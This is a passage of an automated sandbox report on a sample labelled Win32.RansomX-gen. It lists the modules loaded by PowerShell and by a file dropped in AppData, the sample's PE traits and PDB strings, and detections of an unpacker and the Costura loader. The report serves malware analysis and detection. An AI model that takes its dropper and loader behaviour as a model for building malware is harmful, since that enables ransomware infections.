                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: rasapi32.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: rasman.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: rtutils.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: dhcpcsvc6.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: dhcpcsvc.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: dnsapi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: mscoree.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: kernel.appcore.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: version.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: windows.storage.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: wldp.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: profapi.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: cryptsp.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: rsaenh.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: cryptbase.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: rasapi32.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: rasman.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: rtutils.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: mswsock.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: winhttp.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: ondemandconnroutehelper.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: iphlpapi.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: dhcpcsvc6.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: dhcpcsvc.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: dnsapi.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: amsi.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: userenv.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: msasn1.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: gpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: mscoree.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: kernel.appcore.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: version.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: uxtheme.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: sspicli.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: cryptsp.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: rsaenh.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: cryptbase.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: mscoree.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: kernel.appcore.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: version.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: vcruntime140_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: ucrtbase_clr0400.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: uxtheme.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: sspicli.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: cryptsp.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: rsaenh.dll
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeSection loaded: cryptbase.dll
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
                    Source: Window RecorderWindow detected: More than 3 window changes detected
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                    Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003746490.00000000066E0000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.0000000003247000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004DF7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004E6F000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2500970516.0000000004C9D000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.00000000030D7000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035B6000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2572125164.0000000005077000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2572125164.00000000050EF000.00000004.00000800.00020000.00000000.sdmp
                    Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003746490.00000000066E0000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.0000000003247000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004DF7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004E6F000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2500970516.0000000004C9D000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.00000000030D7000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035B6000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2572125164.0000000005077000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2554540962.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 0000000D.00000002.2572125164.00000000050EF000.00000004.00000800.00020000.00000000.sdmp
                    Source: Binary string: protobuf-net.pdbSHA256}Lq source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmp
                    Source: Binary string: protobuf-net.pdb source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 0000000A.00000002.2466687008.0000000003199000.00000004.00000800.00020000.00000000.sdmp

                    Data Obfuscation

                    barindex
                    .NET source code contains potential unpacker
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.6620000.12.raw.unpack, TypeModel.cs.Net Code: TryDeserializeList
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.6620000.12.raw.unpack, ListDecorator.cs.Net Code: Read
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.6620000.12.raw.unpack, TypeSerializer.cs.Net Code: CreateInstance
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.6620000.12.raw.unpack, TypeSerializer.cs.Net Code: EmitCreateInstance
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.6620000.12.raw.unpack, TypeSerializer.cs.Net Code: EmitCreateIfNull
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, XmlSerializationHelper.cs.Net Code: ReadObjectProperties
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, XmlSerializationHelper.cs.Net Code: ReadObjectProperties
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e1f6b8.6.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e1f6b8.6.raw.unpack, ReflectionHelper.cs.Net Code: InvokeMethod
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e1f6b8.6.raw.unpack, XmlSerializationHelper.cs.Net Code: ReadObjectProperties
                    Yara detected Costura Assembly Loader
                    Source: Yara matchFile source: 13.2.daqfbrlrs.exe.53110d8.9.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 13.2.daqfbrlrs.exe.3608854.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.65c0000.11.raw.unpack, type: UNPACKEDPE
